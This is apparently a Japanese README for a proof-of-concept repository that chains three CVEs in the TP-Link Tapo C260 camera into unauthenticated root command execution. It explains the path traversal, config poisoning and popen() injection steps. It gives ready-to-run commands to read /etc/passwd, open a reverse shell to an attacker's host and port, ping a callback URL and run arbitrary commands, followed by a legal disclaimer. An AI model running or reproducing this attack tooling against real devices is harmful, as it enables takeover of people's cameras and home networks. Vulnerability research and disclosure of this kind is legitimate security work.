
TP-Link Tapo C260カメラ向けPoCエクスプロイトチェーン — CVE-2026-0651/0652/0653。@spaceraccoonによる研究。
TP-Link Tapo C260 IPカメラ向けの概念実証エクスプロイトチェーン。3つの脆弱性を連鎖させて未認証からroot権限でのRCEを達成します。脆弱性はEugene Lim (Spaceraccoon)氏によって発見されました。
すべての脆弱性の調査と発見はEugene Lim (@spaceraccoon)氏によるものです。
このリポジトリは、彼の公開されたライトアップに基づくPoC実装です。これが役に立ったなら、彼の著書を購入してください: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)。
| CVE | タイプ | 影響 |
|---|---|---|
| CVE-2026-0651 | パストラバーサル / ローカルファイル開示 | HTTP GETハンドラ内の/%2e%2e%2fを介して任意のファイルを読み取り可能 |
| CVE-2026-0652 | 任意の設定書き込み | ゲストレベルのユーザーがクラウドAPIのJSONキー操作を介して任意の設定パスに書き込み可能 |
| CVE-2026-0653 | コマンドインジェクション / 権限昇格 | set_region_code_handleがサニタイズされていないdev_name設定値をpopen()に渡す |
LFD (デバイス設定の読み取り) --> 設定書き込み (dev_nameの汚染) --> リージョンコードハンドラのトリガー --> popen() --> シェル
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
ローカルネットワーク上のカメラから任意のファイルを読み取ります:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# リバースシェル
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# コールバックのみ (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# カスタムコマンド
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
汚染 — 操作されたJSONキーを含むsetLedStatusリクエストを送信し、デバイス上のtp_manage/info/dev_name設定パスにシェルメタキャラクタペイロードを書き込みます。
トリガー — set_region_codeリクエストを送信します。ハンドラは設定からdev_nameを読み取り、サニタイズなしでpopen()呼び出しに挿入し、注入されたコマンドを実行します。
シェル — 攻撃者はコールバックまたはリバースシェルを受信します。
/bin/mainオムニバスバイナリを共有する他のTapoモデルこのツールは認可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。著者は誤用について責任を負いません。所有していないデバイスに対してテストを行う前に、必ず明示的な許可を得てください。